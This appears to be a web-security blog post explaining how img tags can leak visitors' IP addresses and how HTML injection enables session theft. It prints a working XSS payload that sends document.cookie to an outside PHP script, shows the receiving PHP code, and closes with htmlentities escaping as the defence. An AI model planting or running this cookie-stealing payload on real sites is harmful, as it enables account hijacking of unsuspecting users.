Imagine I'm telling you how awesome it was to be tweeted about by a page on twitter, and I show you this image:
That seems innocent enough. You you've just seen me get excited about something and share an image with you. You've learned a little bit about me, but you may not realize that I've also learned a little bit about you... like potentially where you live. Is this close?
Unless you're using a VPN, that might have caught you off guard. Don't worry; I'm not storing any data about you. I'm just making a point. <img> tags can be abused to scrape data from users. Hackers can even exploit this to steal other users' online accounts without them ever having a clue. I'll show you how.
Let's look at the code for the image above:
The dirty little secret is that there's a reason that URL is missing an image file extension at the end. It's not an image; it's a PHP file, and that PHP file grabs your IP address and has a jolly old time with it before returning some image data to mimic an image URL. It's as easy as this:
<?php $ip = $_SERVER['REMOTE_ADDR']; //do whatever I want with the IP... readfile("rando-js-tweet.png"); ?>
Now, if you've ever looked into web development at all, you know that everyone and their mother grabs your IP address and uses it to track you across the web. That's not new. What gets dangerous is when you start sending other data along with the URL.
I'm not actually going to set up a live showcase for this because I believe it's illegal, but I will give you real code that hackers can actually use to steal your account- because it's important to know what you're up against when it comes to web security. Here's the code:
<img src="http://nastyox.com/images/fake-sample-url" onload="var i=0;if(i++)this.src+='?c='+encodeURIComponent(document.cookie);"/>
All this code does is call the PHP file provided in the src with
document.cookie as a parameter. If you post this code to a comment section, forum, or other platform that's not actively guarding against HTML injection, everyone that loads the image will unwittingly send their cookie data to your PHP file, which can grab the cookie data as simply as this:
<?php $cookies = rawurldecode($_GET["c"]); //browse your cookies for info that'll let me mimic your login... readfile("rando-js-tweet.png"); ?>
Everything you need to get into someone's account is usually stored right there in their
document.cookie. If it's not there, you can poke around in their
window.sessionStorage, or any other client-side storage until you find what you want. This exploit requires neglect on the part of the web developer, but believe me, it happens.
In July of 2016, Pokemon GO hit phones across the world and gained a tremendous 45m daily active users within just two weeks. By August of that same year, players uncovered this neat little trick:
Yes, this really happened. Players were writing HTML in the names of their pokemon, and it was executing. I can't remember if you could see other players' pokemon on your device at that point or if accounts handled payment information, but you can imagine that the devs flipped out. I heard about name bolding/italicizing one night, and it was fixed the next morning.
If you just realized that you're vulnerable to this sort of attack, use htmlentities for PHP (or similar methods for other languages) to protect your users like so:
$postedText = htmlentities($postedText); //Now, we can safely show other users this escaped text
It's just that simple. This will escape any HTML tags (including img tags) that hackers try to inject with their posted text. It's not just you that forgets to do this; it happens to the big guys too every now and then.